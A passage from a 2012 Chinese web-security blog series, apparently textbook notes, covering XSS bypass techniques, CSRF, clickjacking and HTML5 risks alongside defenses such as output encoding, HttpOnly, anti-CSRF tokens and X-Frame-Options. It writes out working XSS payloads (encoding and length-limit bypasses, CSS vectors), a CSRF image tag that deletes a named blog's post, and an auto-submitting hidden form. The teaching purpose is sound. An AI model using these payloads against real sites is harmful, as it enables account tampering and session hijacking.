比如发送站内信、用户留言等页面,都是XSS Worm的高发区,需要重点关注。而相对的,如果一个页面只能由用户个人查看,比如”用户个人资料设置"页面,因为缺乏用户之间互动的功能,所以即使存在XSS,也不能被用于XSS Worm的传播。

b)百度空间蠕虫:

5)调试Javascript:
要想写好XSS Payload,需要有很好的Javascript功底,调试javascript是必不可少的技能。
Firebug  ...

6)XSS构造技巧:
a)利用字符编码:
“百度搜藏"曾经出现过一个这样的XSS漏洞。百度在一个<script>标签中输出了一个变量,其中转义了双引号:
var redirectUrl="\";alert(/xss/);";
一般来说,这里是没有XSS漏洞的,因为变量处于双引号之内,系统转义了双引号导致变量无法escape。
但是百度的返回页面是GBK/GB2312编码的,因此"%c1\"这两个字符组合在一起后,会成为一个Unicode字符。在Firefox下会认为这是一个字符,所以构造:
%c1";alert(/xss/);//
并提交:
var rediretUrl="?";alert(2);//";
这两个字节:"%c1\"组成了一个新的Unicode字符,%c1把转义符”\"给"吃掉了",从而绕过了系统的安全检查,成功地实施了XSS攻击。

b)绕过长度限制:
很多时候,产生XSS的地方会有变量的长度限制,这个限制可能是服务器端逻辑造成的。
假设下面代码存在一个XSS漏洞:
<input type=text value="$var" />
服务器端对输出变量$var做了严格的长度限制,那么攻击者可能会这样构造XSS:
$var为 "><script>alert(/xss/)</script>
希望达到的输出效果是:
<input type=text value=""><script>alert(/xss/)</script>" />
假设长度限制为20个字节,则这段XSS会被切割为:
$var输出为: "><script>alert(/xss
连一个完整的函数都无法写完。
攻击者可以利用时间(Event)来缩短所需要的字节数:
$var输出为 "onclick=alert(1)//
加上空格符,刚好够20个字节

但利用“事件”能够缩短的字节数是有限的。最好的办法是先把XSS Payload写在别处,再通过简短的代码加载这段XSS Payload。

最常用的一个“藏代码”的地方,就是“location.hash"。而且根据HTTP协议,location.hash的内容不会在HTTP包中发送,所以服务器端的Web日志中并不会记录下location.hash里的内容,从而也更好地隐藏了黑客真实的意图。

$var 输出为 " onclick="eval(location.hash.substr(1))
总共40个字节。输出后的HTML是:
<input type=text value="" onclick="eval(location.hash.substr(1)) " />
因为location.hash的第一个字符是#,所以必须去除第一个字符才行。此时构造出的XSS URL为:
http://www.a.com/test.html#alert(1)
用户点击文本框时,location.hash里的代码就执行了.
location.hash本身没有长度限制,但是浏览器的地址栏是有长度限制的,不过这个长度已经足够写很长的XSS Payload了。要是地址栏的长度也不够用,还可以再使用加载远程JS的方法,来写更多的代码。

在某些环境下,可以利用注释符绕过长度限制。

比如我们能控制两个文本框,第二个文本框允许写入更多的字节。此时可以利用HTML的”注释符号“,把两个文本框之间的HTML代码全注释掉,从而”打通“两个<input>标签。
<input id=1 type="text" value="" />
xxxxx
<input id=2 type="text" value="" />
在第一个input框中,输入:
"><!--
在第二个input框中,输入:
--><script>alert(/xss/);</script>
最终的效果是:
<input id=1 type="text" value=""><!-- />
xxxxx
<input id=2 type="text" value="--><script>alert(/xss/);</script>" />

中间的代码前部被<!-- -->注释掉了。

c)使用<base>标签:
<base>标签是定义所有使用"相对路径"标签的hosting地址
例如:
<body>
<base href="http://www/google.com" />
<img scr="/int1/...png" />
</body>

需要注意的是<base>标签可以出现在页面的任何地方,并作用于该标签之后的所有标签。
攻击者如果在页面中插入了<base>标签,就可以通过在远程服务器上伪造图片、链接或脚本,劫持当前页面中的所有使用”相对路径“的标签。比如:
<base href="http://www.evil.com" />
...
<script src="http://supershll.blog.163.com/blog/x.js"></script>
...
<img scr="y.jpg" />
...
<a href="http://supershll.blog.163.com/blog/auth.do"> auth</a>

所以在设计XSS安全方案时,一定要过滤掉这个非常危险的标签。

d) window.name的妙用:
window.name 对象是一个很神奇的东西,对当前的window.name对象赋值,没有特殊字符的限制。因为window对象是浏览器的窗体,而并非document对 象,因此很多时候window对象不受同源策略的限制。攻击者利用这个对象,可以实现跨域、跨页面传递数据。在某些环境下,这种特性将变得非常有用。
参考以下案例。假设"www.a.com/test.html"的代码为:
<body>
<script>
window.name="test";
alert(document.domain+"    "+window.name);
window.location="http://www.b.com/test1.html";
</script>
</body>
这段代码将window.name赋值为test,然后显示当前域和window.name的值,最后页面跳转到www.b.com/test1.html。
www.b.com/test1.html的代码为:

<body>
<script>
alert(document.domain+"    "+window.name);
</script>
</body>

这个过程实现了数据的跨域传递:"test"这个值从www.a.com传递到www.b.com

使用window.name可以缩短XSS Payload的长度,如下所示:
<script>
window.name="alert(document.cookie)";
location.href="http://www.xssedsite.com/xssed.php";
</script>
在统一窗口打开XSS的站点后,只需通过XSS执行以下代码即可:
eval(name);
只有11个字节,短到了极点。
这个技巧为安全研究者luoluo发现,同时他还整理了很多绕过XSS长度限制的技巧。

7)变废为宝:Mission Impossible
从XSS漏洞利用的角度来看,存储型XSS对攻击者的用处比反射型XSS要大。而有的XSS漏洞被认为只能够攻击自己,属于"鸡肋”漏洞。但随着时间的推移,数个曾经被认为是无法利用的漏洞,都被人找到了利用方法:
a)Apache Expect Header XSS:
b)Anehta的回旋镖:

8) 容易被忽视的角落:Flash XSS
前面降到的XSS攻击都是基于HTML的,其实在Flash中同样也有可能造成XSS攻击。
在Flash中是可以嵌入ActionScript脚本的。一个最常见的Flash XSS可以这样写:
getURL("javascript:alert(document.cookie)")
ActionScript是一种非常强大和灵活的脚本,甚至可以使用它来发起网络连接,因此应该尽可能地阻止用户能够上传和加载自定义的Flash文件。
由于Flash文件如此危险,所以在实现XSS Filter时,一般都会禁用<embed>、<object>等标签。后者甚至可以加载ActiveX控件,产生更为严重的后果。
嵌入FLash的脚本重要的参数有allowScriptAccess(推荐值never)、allowNetworking(建议值none或者internal)。
Flash XSS往往被忽视,因为其问题出现在编译后的Flash文件中。

9)真的高枕无忧吗?Javascript开发框架
jQuery本身出现的漏洞较少,但是开发者的意识才是安全编码的关键。
例如$('div.demo-container').html("<img scr=# onerror=alert(1) />");
如果用户可控制输入,那么XSS产生是必然的。

3,XSS的防御:
1)HttpOnly:浏览器将禁止页面的Javascript访问带有HttpOnly属性的Cookie。是为了解决劫持Cookie攻击。因为Javascript获取不到Cookie的值。
C#中设置HttpOnly的方法:
HttpCookie myCookie=new HttpCookie("myCookie");
myCookie.HttpOnly=true;
Response.AppendCookie(myCookie);

2)输入检查:
常见的Web漏洞如XSS、SQL诸如等,都要求攻击者构造一些特殊字符,这些特殊字符可能是正常用户不会用到的,所以输入检查就有存在的必要了。
例如,用户名可能会被要求只能为字母、数字的组合。
输入检查的逻辑应该放在服务器端,否则很容易被绕过。目前的普遍做法是在客户端和服务器端都执行检查。

在XSS的防御上,输入检查一般是检查用户输入的数据中是否包含一些特殊字符,如< > ' "等。如果发现,则将这些字符过滤掉或编码。
比较智能的还会检查<script> javascript等敏感字符,网上有很多XSS Filter资源。但因为XSS Filter对语境不了解,有时不能检查出XSS攻击。

3)输出检查:
一般来说,除了富文本的输出外,在变量输出到HTML页面时,可以使用编码或者转移的方式来防御XSS攻击。
1)安全的编码函数:
针对HTML代码的编码方式是HtmlEncode。
HtmlEncode并非专用名词,它只是一种函数体现。它的作用是将字符转换成HTMLEntities,对应的标准是ISO-8859-1。
对了对抗XSS,在HtmlEncode中至少要转换以下字符:
& => &amp; < =>&lt;  > " ' /

相应地,Javascript的编码方式可以使用JavascriptEncode。
JavascriptEncode与HtmlEncode的编码方法不同,他需要使用\对特殊字符进行转义。在对抗CSS时,还要求输出的变量必须在引号内部,以避免造成安全问题。比较下面两种写法:
var x=escapeJavascript($evil);
var y='"'+escapeJavascript($evil)+'"';
如果escapeJavascript函数只转义了几个危险字符,比如' " < > \ & #等,那么上面的两行代码输出后可能变成:
var x=1;alert(2);
var y="1;alert(2)";
所以要求使用JavascriptEncode的变量输出一定要在引号内。
可视很多开发者没有这个习惯怎么办?这将只能使用一个更加严格的JavascriptEncode函数--除了数字、字母外的所有字符,都使用十六进制"\xHH"的方式进行编码。在本例中:
var x=1;alert(2);
变成了:
var x=1\x3balert\x282\x29;
如此代码可以保证是安全的。

2)只需一种编码吗?
XSS攻击主要发生在MVC架构中的View层。大部分的XSS漏洞可以在模版系统中解决。
不是使用了auto-escape就万事大吉了,XSS的防御需要区分情况对待。

4)正确地防御XSS
XSS的本质还是一种"HTML注入”。
想要根治XSS,可以列出所有XSS可能发生的场景,在一一解决。
a)在HTML标签中输出:如
<div>$var</div>
<a href=# >$var</a>
这样可以构造出:
<div><script>alert(/xss/)</script></div>
<a href=#><img scr=# onerror=alert(1) /></a>
防御方法是对变量使用HtmlEncode。

b)在HTML属性中输出:如
<div id="abc" name="$var" ></div>
可以构造出:
<div id="abc" name=""><script>alert(/xss/)</script><"" ></div>
防御方法也是HtmlEncode。在OWASP ESAPI中推荐了一种更严格的HtmlEncode--除了字母、数字外,其他所有的字符都被编码成HTMLEntities。
String sfa=ESAPI.encoder().encodeForHTMLAttribute(request.getParameter("input")];
这种严格的编码方式,可以保证不会出现任何安全问题。

c)在<script>标签中输出:如
<script>
var x="$var";
</script>
可以构造出:
<script>
var x="";alert(/xss/);//";
</script>
防御时也是使用JavascriptEncode

d)在事件中输出:如
<a href=# onclick="funcA('$var')" >test</a>
可以构造出:
<a href=# onclick="funcA('');alert(/xss/);//')" >test</a>
在防御时需要使用JavascriptEncode

e)在CSS中输出:在CSS和style、style attribute中形成的XSS的方式非常多样化,参考下面几个XSS的例子。
<STYLE>@import 'http://ha.ckers.org/xss.css';</STYLE>
<STYLE>BODY {-moz-binding:url("http://ha.ckers.org/xssmoz.xml#xss")}</STYLE>
<XSS STYLE="behavior:url(xss.htc);">
<STYLE>li {list-style-image:url("javascript:alert('XSS')");} </STYLE><UIL><LI>XSS
<DIV STYLE="background-image:url(javascript:alert('XSS'))">
<DIV STYLE="width:expression(alert('XSS'));">
所 以一般来说,尽可能地禁止用户可控制的变量在"<style>标签"、"HTML标签的style属性"以及"CSS文件"中输出。如果一定 有这样的需求,推荐使用OWASP ESAPI中的encodeForCSS()函数。类似于ESAPI.encoder().encodeForJavaScript()函数。

f)在地址中输出:
在地址中输出也较为复杂。一般来说,在URL的path(路径)或者search(参数)中输出,使用URLEncode即可。
例如:
<a href="http://www.evil.com/?test=$var" >test</a>
可能的攻击办法:
<a href="http://www.evil.com/?test=" onclick=alert(1)"" >test</a>
经过URLEncode后就可以防御。
但是还有一种情况,就是整个URL都能够被用户完全控制。这时URL的协议和Host部分是不能够使用URLEncode的,否则会改变URL的语义。
一个URL的组成如下:
[Protocol][host][Path][search][Hash]

http://www.evil.com/a/b/c/test?abc=123#ssss
protocol="http://"
host=www.evil.com
search="?abc=123"
hash=#ssss
在Protocol和host中,如果使用严格的URLEncode函数,则会把"://"、"."等都编码掉。
对于如下的输出方式:
<a href="http://supershll.blog.163.com/blog/$var" >test</a>
攻击者可能会构造:
<a href="javascript:alert(1);">test</a>
除了“JavaScript作为伪协议可以执行代码外,还有VBScript、dataURI等伪协议可能导致脚本执行。
由此可见,如果用户能够完全控制URL,则可以执行脚本的方式有很多,如何解决这种情况呢?
一般来说,如果变量是整个URl,则应该首先检查变量是否是以Http开头,如果不是则自动添加,以保证不会出现伪协议类的XSS攻击。
在此之后再对变量进行URLEncode,即可保证不会有此类的XSS发生了。
OWASP ESAPI中有一个URLEncode的实现:
ESAPI.encoder().encodeForURL

5)处理富文本:
有些时候,网站需要允许用户提交一些自定义的HTML代码,称之为"富文本"。比如,一个用户在论坛里发帖,帖子里的内容里要有图片、视频、表格等,这些“富文本”的效果都需要通过HTML代码来实现。
如何区分安全的“富文本"和有攻击性的XSS呢?
在处理富文本时,还是要回到"输入检查"的思路上来。”输入检查“的主要功能是,在检查时还不知道变量的输出语境。但用户提交的”富文本“数据,其语义是完整的HTML代码,在输出时也不会拼凑到某个标签的属性中。因此可以特殊情况特殊处理。
在上一节中,列出了所有在HTML中可能执行脚本的地方。而一个优秀的”XSS Filter“,也应该能够找出HTML代码中所有可能执行脚本的地方。
HTML是一种结构化的语言,比较好分析。通过htmlparser可以解析出HTML代码的标签、标签属性和事件。
在过滤富文本时,”事件“应该被严格禁止,因为”富文本“的展示需求里不应该包括”事件“这种动态效果。而一些危险的标签,比如<iframe>、<script>、<base>、<form>等,也是应该严格禁止的。
在标签的选择上,应该使用白名单,避免使用黑名单。比如,只允许<a>、<img>、<div>等比较”安全“的标签存在。
”白名单“原则不仅仅用于标签的选择,同样应该用于属性与事件的选择。
在富文本过滤中,处理CSS也是一件麻烦的事情。如果允许用户自定义的CSS、style,则也可能导致XSS攻击。因此尽可能地禁止用户自定义CSS与Style。
如果一定要允许用户自定义样式,则只能像过滤”富文本“一样过滤”CSS“。这需要一个CSS Parser对样式进行智能分析,检查其中是否包含危险代码。
有一些比较成熟的开源项目,实现了对富文本的XSS检查。
Anti-Samy是OWASP上的一个开源项目,也是目前最好的XSS Filter。最早它是基于Java的,现在已经扩展到.NET等语言。

6)防御DOM Based XSS:
DOM Based XSS是一种比较特别的XSS漏洞,前文提到的几种防御方法都不太适用,需要特别对待。
DOM Based XSS是如何形成的呢?回头看看这个例子:
<script>
function test(){
 var str=document.getElementById("text").value;
 document.getElementById("t").innerHTML="<a href='http://supershll.blog.163.com/blog/"+str+"' >testLink</a>";
}
</script>
<div id="t"></div>
<input type="text" id="text" value="" />
<input type="button" id="s" value="write" oncick="test()" />

在button的onclick事件中,执行了test()函数,而该函数中最关键的一句是:
 document.getElementById("t").innerHTML="<a href='http://supershll.blog.163.com/blog/"+str+"' >testLink</a>";
将HTML代码写入了DOM节点,最后导致了XSS的发生。
事实上,DOM Based XSS是从Javascript中输出数据到HTML页面中。而前文提到的方法都是针对"从服务器应用直接输出到HTML页面”的XSS漏洞,因此并不适用于DOM Based XSS。
看看下面这个例子:
<script>
var x="$var";
document.write("<a href='http://supershll.blog.163.com/blog/"+x+"' >test</a>");
</script>
变量"$var"输出在<script>标签内,可是最后又被document.write输出到HTML页面中。
假设为了保护"$var"直接在<script>标签内产生XSS,服务器端对齐进行了JavascriptEscape。可是$var在document.write时,仍然能够产生XSS,如下所示:
<script>
var x="\x20\x27onlick\x3dalert\x281\x29\x3b...";
document.write("<a href='http://supershll.blog.163.com/blog/”+x+"' >test</a>");
</script>
页面渲染之后的实际结果如下:
XSS攻击成功。
其原因在于,第一次执行JavascriptEscape后,只保护了:
var x="$var";
但是当document.write输出数据到HTML页面时,浏览器重新渲染了页面。在<script>标签执行时,已经对变量x进行了解码,其后document.write再运行时,其参数就变成了:
<a href='http://supershll.blog.163.com/blog/ 'onclick=alert(1);//' ' >test</a>
XSS因此而产生。
如果改成HtmlEncode也是如此。
正确的防御方法是什么呢?
首 先,在"$var"输出到<script>时,应该执行一次javascriptEncode;其次,在document.write输出到 HTML页面时,要分具体情况看待:如果是输出到事件或者脚本,则要再做一次javascriptEncode;如果是输出到HTML内容或者属性,则要 做一次HtmlEncode。
也就是说,从JavaScript输出到HTML页面,也相当于一次XSS输出的过程,需要分语境使用不同的编码函数。
会触发DOM Based XSS的地方很多,以下几个地方是JavaScript输出到HTML页面的必经之路。
a) document.write()  document.writeln()
b) xxx.innerHTML=   xxx.outerHTML=
c) innerHTML.replace
d) document.attachEvent()   window.attachEvent()
e) document.location.replace()  document.location.assign()
...
除了服务器端直接输出变量到Javascript之外,还有以下几个地方可能会成为DOM Based XSS的输入点,也需要重点关注。
a) 页面中所有的inputs框
b) window.location(href、hash等)
c) window.name
d) document.referrer
e) document.cookie
f) localstorage
g) XMLHttpRequest返回的数据

7) 换个角度看XSS的风险
从业务角度看XSS风险,用户之间有互动的页面的风险肯定比没有互动的页面的风险高。应重点修补风险高的页面。

理论上,XSS漏洞虽然复杂,但却是可以彻底解决的。在设计XSS解决方案时,应该深入理解XSS攻击的原理,针对不同的场景使用不同的方法。同时有很多开源项目为我们提供了参考。

网络安全---CSRF攻击

网络安全---CSRF攻击  

2012-08-13 09:25:24|  分类: 网络 |字号 订阅
CSRF=Cross Site Request Forgery
一、CSRF简介:
还记得在"跨站脚本攻击"一章中,介绍XSS Payload时的那个“删除搜狐博客”的例子吗?登录Sohu博客后,只需要请求这个URL,就能够把指定编号的博客文章删除。
http://blog.sohu.com/manage/entry.do?m=delete&id=156713012
这个URL同时还存在CSRF漏洞。
攻击者首先在自己的域构造一个页面:
http://www.a.com/csrf.html
其内容为:
<img scr="http://blog.sohu.com/manage/entry.do?m=delete&id=156713012" />
攻击者诱使目标用户,也就是博客主访问这个页面。该用户看到了一张无法显示的图片,再回头看看搜狐博客,发现文章已经被删除了!

二、CSRF进阶
1、浏览器的Cookie策略:
在上节提到的例子里,攻击之所以能够成功,是因为用户的浏览器成功发送了Cookie的缘故。
浏览器的Cookie分为:“Session Cookie"(又称临时Cookie)、"Third-party Cookie"(又称本地Cookie)
两者的区别在于,本地Cookie是服务器在Set-Cookie时指定了Expire时间,只有到了Expire时间之后Cookie才会失效;而Session Cookie没有指定Expire时间,所以浏览器关闭之后,Session Cookie也就消失了。
在 浏览网站的过程中,若是一个网站设置了Session Cookie,那么在浏览器进程的声明周期内,即使浏览器新打开了Tab页,Session Cookie也都是有效的。Session Cookie保存在浏览器进程的内存空间中;而本地Cookie则保存在本地。
如果浏览器从一个域的页面中,要加载另一个域的资源,由于安全原因,某些浏览器会阻止本地Cookie的发送。
FireFox默认是允许发送第三方Cookie的,而IE默认禁止了在<img>、<iframe>、<script>、<link>等标签中发送第三方Cookie。
对于IE浏览器,攻击者需要精心构造攻击环境,比如诱使用户在当前浏览器中先访问目标站点,使得Session Cookie有效,再实施CSRF攻击。

2、P3P头的副作用
尽管有些CSRF攻击实施起来不需要认证,不需要发送Cookie,但是不可否认的是,大部分敏感或重要的操作是躲藏在认证之后的。因此浏览器拦截第三方Cookie的发送,在某种程度上来说降低了CSRF攻击的威力。可是这一情况在"P3P头"介入后变得复杂起来。
P3P Header是W3C制定的一项关于隐私的标准,全称是The Platform for Privacy Preferences.
如果网站返回给浏览器的HTTP头中包含有P3P头,则在某种程度上来说,将允许浏览器发送第三方Cookie。在IE下即使是<iframe>、<script>等标签也将不再拦截第三方Cookie的发送。
在网站的业务中,P3P头主要用于类似广告等需要跨域访问的页面。但是很遗憾的是,P3P头设置后,对于Cookie的影响将扩大到整个域中的所有页面,因为Cookie是以域和path为单位的,这并不符合“最小权限”原则。
假设有www.a.com与www.b.com两个域,在www.b.com上有一个页面,其中包含一个指向www.a.com的iframe。
http://www.b.com/test.html的内容为:
<iframe width=300 height=300 src="http://www.a.com/test.php"></iframe>
http://www.a.com/test.php是一个对a.com域设置Cookie的页面,其内容为:
<?php
 header("Set-Cookie: test=axis; domain=.a.com; path=/");
?>
当请求http://www.b.com/test.html时,它的iframe会告诉浏览器去跨域请求www.a.com/test.php。test.php会尝试Set-Cookie,所以浏览器会收到一个Cookie。
如果Set-Cookie成功,再次请求该页面,浏览器应该会发送刚才收到的Cookie。可是由于跨域限制,在a.com上Set-Cookie是不会成功的,所以无法发送刚才收到的Cookie。这里无论是临时Cookie还是本地Cookie都是一样的。
可以看到,第二次发包,只是再次接收到了Cookie,上次Set-Cookie的值并不曾发送,说明没有Set-Cookie成功。但是这种情况在加入了P3P头后会有所改变,P3P头允许跨域访问隐私数据,从而可以跨域Set-Cookie成功。
修改www.a.com/test.php如下:
<?php
 header("P3P: CP=CURa ADMa DEVa PSAo PSDo OUR BUS UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR");
 header("Set-Cookie: test=axis; expires=Sun,23-Dev-2018 08:13:02 GMT; domain=.a.com; path=/");
?>
再次重复上面的测试过程,可以看到第二个包成功发送出之前收到的Cookie。
P3P头的介入改变了a.com的隐私策略,从而使得<iframe>、<script>等标签在IE中不再拦截第三方Cookie的发送。P3P头只需要由网站设置一次即可,之后每次请求都会遵循此策略,而不需要再重复设置。
正因为P3P头目前在网站的应用中被广泛应用,因此在CSRF的防御中不能依赖于浏览器对第三方Cookie的拦截策略,不能心存侥幸。
很多时候,如果测试CSRF时发现<iframe>等标签在IE中居然能发送Cookie,而又找不到原因,那么很可能就是P3P头在作怪。

3、GET?POST?
CSRF不仅能使用GET,也能使用POST。
对于很多网站的应用来说,一些重要操作并未严格区分GET与POST,攻击者可以使用GET来请求表单的提交地址。比如在PHP中,如果使用的是$_REQUEST,而非$_POST获取变量,就会存在这个问题。虽然表单是post提交,但是也可以使用get方式提交。
如果服务器端已经区分了GET与POST,那么攻击者有什么方法呢?对于攻击者来说,有若干方法可以构造出一个POST请求。
最简单的方法就是在一个页面中构造好一个form表单,然后使用javascript提交这个表单。比如,攻击者在www.b.com/test.html中编写如下代码:
<form action="http://www.a.com/register" id="register" method="post" >
<input type=text name="username" value="" />
<input type=password name="password" value="" />
<input type=submit name="submit" value="submit" />
</form>
<script>
 var f=document.getElementById("register");
 f.inputs[0].value="test";
 f.inputs[1].value="passwd";
 f.submit();
</script>
攻击者甚至可以将这个页面隐藏在一个不可见的iframe窗口中,那么整个自动提交表单的过程,对于用户来说也是不可见的。

4、Flash CSRF:
Flash也有多种方式能够发起网络请求,包括POST。

5、CSRF Worm:
2008年9月,国内的安全组织80sec公布了一个百度的CSRF Worm。
漏洞出现在百度用户中心的发送短消息功能中:通过一个链接可以给任意用户发送短消息。
而百度的另外一个接口则能查出某个用户的所有好友:
将两者结合起来,可以组成一个CSRF Worm--让一个百度用户查看恶意页面后,将给她的所有好友发送一条短消息,然后这条消息又包含一张图片,其地址再次指向CSRF页面,使得这些好友再次将消息发给他们的好友,这个Worm因此得以传播。
这个蠕虫很好地展示了CSRF的破坏性---即使没有XSS漏洞,仅仅依靠CSRF,也是能够发起大规模蠕虫攻击的。

三、CSRF的防御
1、验证码:
2、Referer Check:
Referer Check在互联网中最常见的应用就是“防止图片盗链”。同理,Referer Check也可以被用于检查请求是否来自合法的“源”。
比如在“论坛发帖”,在提交“发帖”的表单时,Referer的值必然是发帖表单所在的页面,否则,则极有可能是CSRF攻击。
即 使我们能够检查Referer是否合法,也仅仅是满足了防御的充分条件。Referer Check的缺陷在于,服务器并非什么时候都能取到Referer。很多用户出于隐私保护的考虑,限制了Referer的发送。在某些情况下,浏览器也不 会发送Referer,比如从HTTPS跳转到HTTP,出于安全方面的考虑,浏览器也不会发送Referer。
在Flash的一些版本中,曾经可以发送自定义的Referer头。而且难免有别的客户端插件允许这种操作。
出于以上种种原因,我们还是无法依赖于Referer Check作为防御CSRF的主要手段。

3、Anti CSRF Token:现在业界针对CSRF的防御,一致的做法是使用一个Token。
1)CSRF的本质:
CSRF为什么能够攻击成功?其本质原因是重要操作的所有参数都是可以被攻击者猜测到的。
出于这个原因,可以想到一个解决方案:把参数加密,或者使用一些随机数,从而让攻击者无法猜测到参数值。这是“不可预测性原则”的一种应用。
但这个方法也存在一些问题。首先,加密或混淆后的URL将变得非常难读,对用户非常不友好。其次,如果加密的参数每次都改变,则某些URL将无法再被用户收藏。最后,普通的参数如果也被加密或哈希,将会给数据分析工作带来很大的困扰。
因此,我们需要一个更加通用的解决方案来帮助解决这个问题。这个方案就是使用Anti CSRF Token。
例如:
http://host/path/delete?username=abc&item=123&token=[random(seed)]
Token需要足够随机,必须使用足够安全的随机数生成算法,或者采用真随机数生成器。Token应该作为一个“秘密”,为用户和服务器共同持有,不能被第三者知晓。在实际应用中,Token可以放在用户的Session中,或者浏览器的Cookie中。
由于Token的存在,攻击者无法再构造出一个完整的URL实施CSRF攻击。
Token需要同时放在表单和Session中。在提交请求时,服务器只需验证表单中的Token,与用户Session(或Cookie)中的Token是否一致,如果一致,则认为是合法请求;如果不一致,或者有一个为空,则认为请求不合法,可能发生了CSRF攻击。

2)Token的使用原则:
a) Token必须足够随机,才可以“不可预测"
b)Token的目的不是为了防止重复提交。所以为了使用方便,可以允许在一个用户的有效生命周期内,在Token消耗掉前都使用同一个Token。但是如果用户已经提交了表单,则这个Token已经消耗掉,应该再次重新生成一个新的Token。
c) 如果Token保存在Cookie中,而不是服务器端的Session中,则会带来一个新的问题。如果一个用户打开几个相同的页面同时操作,当某个页面消 耗掉Token时,其他页面的表单内保存的还是被消耗掉的Token,因此其他页面的表单再次提交时,会出现Token错误。在这种情况下,可以考虑生成 多个有效的Token,以解决多页面共存的场景。
最后,使用Token时应该注意Token的保密性。Token如果出现在某个页面的URL中,则可能会通过Referer的方式泄漏。比如以下页面:
http://host/path/manage?username=abc&token=[random]
这个Manage页面是一个用户面板,用户需要在这个页面提交表单或者单击”删除“按钮,才能完成删除操作。
在这种场景下,如果这个页面包含了一张攻击者能指定地址的图片:
<img src="http://evil.com/notexist" />
则"http://host/path/manage?username=abc&token=[random]"会作为HTTP请求的Referer发送到evil.com的服务器上,从而导致Token泄漏。
因此在使用Token时,应该尽量把Token放在表单中。把敏感操作由GET改为POST,以Form表单(或者AJAX)的形式提交,可以避免Token的泄漏。
此外,还有一些其他途径可能导致Token泄漏。比如XSS漏洞或者一些跨域漏洞,都可能让攻击者窃取到Token的值。
CSRF 的Token仅仅用于对抗CSRF攻击,当网站同时存在XSS漏洞时,这个方案就会变得无效,因为XSS可以模拟客户端浏览器执行任意操作。在XSS攻击 下,攻击者完全可以请求页面后,读出页面内容里的Token值,然后再构造出一个合法的请求。这个过程可以称之为XSRF,和CSRF以示区分。
XSS带来的问题,应该使用XSS的防御方案予以解决,否则CSRF的Token防御就是空中楼阁。
安全防御的体系是相辅相成,缺一不可的。

网络安全---点击劫持(ClickJacking)

网络安全---点击劫持(ClickJacking)  

2012-08-13 14:49:25|  分类: 网络 |字号 订阅
一、什么是点击劫持?
点击 劫持是一种视觉上的欺骗手段。攻击者使用一个透明的、不可见的iframe,覆盖在一个网页上,然后诱使用户在该页面上进行操作,此时用户将在不知情的情 况下点击透明的iframe页面。通过调整iframe页面的位置,可以诱使用户恰好点击在iframe页面的一些功能行按钮上。

二、Flash点击劫持
首先,攻击者制作了一个Flash游戏,并诱使用户来玩这个游戏。这个游戏就是让用户去点击"CLICK"按钮,每次点击后这个按钮的位置都会发生变化。
在其上隐藏了一个不可见的iframe
最终通过一步步的操作,打开了用户的摄像头。

三、图片覆盖攻击
点击劫持的本质是一种视觉欺骗,顺着这个思路,还有一些攻击方法也可以起到类似的作用,比如图片覆盖。
一名叫做sven.vetsch的安全研究者最先提出了这种Cross Site Image Overlaying攻击,简称XSIO。
用一张图片覆盖原来的Logo。当用户点击的时候链接到自己的钓鱼网站。
图片还可以伪装得像一个正常的链接、按钮;或者在图片中构造一些文字,覆盖在关键的位置,就有可能完全改变页面中想表达的意思,在这种情况下,不需要用户点击,也能达到欺骗的目的。
比如,利用XSIO修改页面中的联系电话。可能会导致很多用户上当。
由于<img>标签在很多系统中是对用户开放的,因此在现实中有非常多的站点存在被XSIO攻击的可能。在防御XSIO时,需要检查用户提交的HTML代码中,<img>标签的style属性是否可能导致浮出。

四、拖拽劫持与数据窃取
目前很多浏览器都开始支持Drag &Drop API。对于用户来说,拖拽使得他们的操作跟家简单。浏览器中的拖拽对象可以是一个链接,也可以是一段文字,还可以从一个窗口拖拽到另一个窗口,因此拖拽是不受同源策略限制的。
“拖拽”劫持的思路是诱使用户从隐藏的不可见的iframe中“拖拽”出攻击者希望得到的数据,然后放在攻击者能控制的另外一个页面中,从而窃取数据。
在javascript或者Java API的支持下,这个攻击过程变得非常隐蔽。因为它突破了传统ClickJacking一些先天的局限,所以这种新型"拖拽劫持“能够造成更大的破坏。
国内的安全研究者xisigr曾经构造了一个针对Gmail的POC,其过程大致如下:
首先,制作一个网页小游戏,要把小球拖拽到小海豹的头顶上。
实际上,小球和小海豹的头顶上都有隐藏的iframe。
在 这个例子中,xisigr使用event.dataTransfer.getData("Text")来获取"drag"到的数据。当用户拖拽小球时,实 际上是选中了隐藏的iframe;在放下小球时,把数据也放在了隐藏的textarea中,从而完成一次数据窃取的过程。

五、ClickJacking3.0:触屏劫持
到了2010年9月,智能手机上的”触屏劫持“攻击被斯坦福的安全研究者发布,这意味着ClickJacking的攻击方式更进一步。安全研究者将这种触屏劫持称为TapJacking。
通过将一个不可见的iframe覆盖到当前网页上,可以劫持用户的触屏操作。
利用手机浏览器隐藏地址栏,攻击者自己画出一个地址栏来欺骗用户。

六、防御ClickJacking:
针对传统的ClickJacking,一般是通过禁止跨域的iframe来防范。
1,frame busting:
通常可以写一段Javascript代码,以禁止iframe嵌套。这种方法叫frame busting.比如:
if (top.location!=location){
  top.location=self.location;
}
常见的frame busting有以下这些形式:
if (top!=self)
if (top.location!=self.location)
if (top.location !=location)
if (parent.frames.length>0)
if (window!=top)
if (window.top!=window.self)
if (parent && parent!=window)
...
但是frame busting也存在一些缺少,由于它是用Javascript编写的,控制能力并不是特别强,有很多方法可以绕过TA。
比如针对parent.location的frame busting,就可以采用嵌套多个iframe的方法绕过。

此外,像HTML5中iframe的sandbox属性、IE中的iframe的security属性等,都可以限制iframe页面中的JavaScript脚本执行,从而可以使得frame busting失效。

2,X-Frame-Options:
使用HTTP头---X-Frame-Options.
X-Frame-Options可以说是为了解决ClickJacking而生的。
它有3个可选的值:DENY、SAMEORIGIN、ALLOW-FROM origin
当值为DENY时,浏览器会拒绝当前页面加载任何frame页面;若值为SAMEORIGIN,则frame页面的地址只能为同源域名下的页面;若值为ALLOW-FROM,则可以定义允许frame加载的页面地址。

网络安全---HTML5安全

网络安全---HTML5安全  

2012-08-13 15:19:48|  分类: 网络 |字号 订阅
一、HTML5新标签
1,新标签的XSS:
一些XSS Filter如果建立了一个黑名单的话,则可能就会覆盖到HTML5新增的标签和功能。
例如video、audio等

2,iframe的sandbox:
<iframe> 标签一直以来都为人所诟病。挂马、XSS、ClickJacking等攻击中都能看到它。浏览器厂商也一直在想办法限制iframe执行脚本的权限,比如 跨窗口访问会有限制,以及IE中的<iframe>标签支持security属性限制脚本的执行,都在向着这一目标努力。
